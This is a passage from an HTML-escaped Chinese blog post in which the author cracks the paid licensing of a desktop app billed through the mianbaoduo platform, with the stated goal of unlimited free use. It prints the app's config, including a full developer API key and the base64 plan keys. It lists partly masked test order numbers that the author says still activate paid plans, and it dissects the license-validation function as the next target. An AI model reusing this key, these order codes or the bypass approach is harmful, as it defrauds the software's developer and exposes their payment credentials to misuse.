&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_14_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YpyTl5s=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_30_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2Zmpc=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_30_day_repeat: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Y5ubmJY=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 30天可复购的版本
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_60_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2ZmpY=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_90_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2YmZ8=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_120_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YpWWm5s=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_valid_urlkey: [
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ6Vmps=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ6Vmpk=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YpyTl5s=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2Zmpc=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2ZmpY=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ2YmZ8=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YpWWm5s=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Y5ubmJY=&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  ],
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_developer_key: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;77567:1iwLac:JEhBXIb4hcI5fl9_OeE8N5F2aBY&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  doc_root: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;https:&#x2F;&#x2F;doc.tern.1c7.me&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  doc_root_cn: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;https:&#x2F;&#x2F;doc.tern.1c7.me&#x2F;zh&#x2F;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但光提高免费额度肯定是不够的(目标当然是无限额)，下面又定义了一些base64编码的字符串，目前还不知道是做什么用的，但是看名字就知道肯定和付费有关，那就全局搜索这些字符串的键，然后找到了&lt;code&gt;js&#x2F;webpack&#x2F;src&#x2F;lib&#x2F;mianbaoduo.js&lt;&#x2F;code&gt;文件，翻了一下人傻了，测试用的订单号写注释里可还行，试了一下真可以用。（就放一部分出来给你们馋馋）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 一些测试用的订单号
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; f0030d99307cdc1d98d007a45fa611** &#x2F;&#x2F; 7天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 6a922475f64c2012cfb9bb4303c109** &#x2F;&#x2F; 14天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; d8f3ed76a0d9706fecdbf13b415d98** &#x2F;&#x2F; 30天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 084c3ad39ac24f2c242ab493daa380** &#x2F;&#x2F; 60天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 3dd86e87e3f5dd41f39c71d4c11793** &#x2F;&#x2F; 90天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; b32a367006c807271fc89861c082d6** &#x2F;&#x2F; 120天
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; c5c0960a5126058c0ab452763e405d** &#x2F;&#x2F; 永久
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 1156121ab3602bf9576413b3c48d81** &#x2F;&#x2F; 30天(可复购) 8月25号过期 (我自己买的测试版)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 2bc7e9a6734f00fe75a58394881e86** &#x2F;&#x2F; 30天, 复购了一次的版本, 第一次是7月11号过期，然后复购了一个月8月12号过期
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这我肯定还是不满意，继续往下看&lt;code&gt;http_order_detail&lt;&#x2F;code&gt;函数是在检验激活码，再往上找，找到调用它的函数，在&lt;code&gt;js&#x2F;webpack&#x2F;src&#x2F;mixin_plan.js&lt;&#x2F;code&gt;里面的&lt;code&gt;validate_mianbaoduo_order_id&lt;&#x2F;code&gt;函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;async &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;validate_mianbaoduo_order_id&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;verifying&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_id &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;this&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_order_id&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span&gt;MianBaoDuo({
&lt;&#x2F;span&gt;&lt;span&gt;				order_id: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_id&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;				developer_key: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_developer_key&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;				valid_urlkeys: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_valid_urlkey
&lt;&#x2F;span&gt;&lt;span&gt;			});
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;await &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;get_order_detail&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 如果是个无效订单
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;order_is_valid&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;invalid&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_free&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;remove_license_code&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 如果 urlkey 不在有效数组内, 这里就直接返回了，无需执行后续判断
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;urlkey_is_valid&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;false&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;invalid&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_free&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;remove_license_code&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_info&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 订单的结果
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;urlkey &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;urlkey&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;  如果是永久激活码
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mian_bao_duo&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;is_lifetime_license&lt;&#x2F;span&gt;&lt;span&gt;()) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;license_verifying_state &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;state_dict&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_plan_pro&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_license_code&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_id&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;			}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ordertime&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 支付时间的时间戳 timestamp like 1580205634
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;orderamount &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;response&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;orderamount&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 支付金额
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_pay_time&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;that&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set_orderamount&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;orderamount&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time_readable &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;moment
&lt;&#x2F;span&gt;&lt;span&gt;				.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;unix&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;order_time&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;				.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YYYY-MM-DD HH:mm:ss&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 2020-01-28 18:00:34
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 7天&#x2F;14天&#x2F;30&#x2F;60&#x2F;90&#x2F;120天
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;			&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;switch &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;urlkey&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_7_day&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_14_day&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_30_day&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;valid_for_x_days &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;					&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;				&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;case &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;mianbaoduo_60_day&lt;&#x2F;span&gt;&lt;span&gt;:
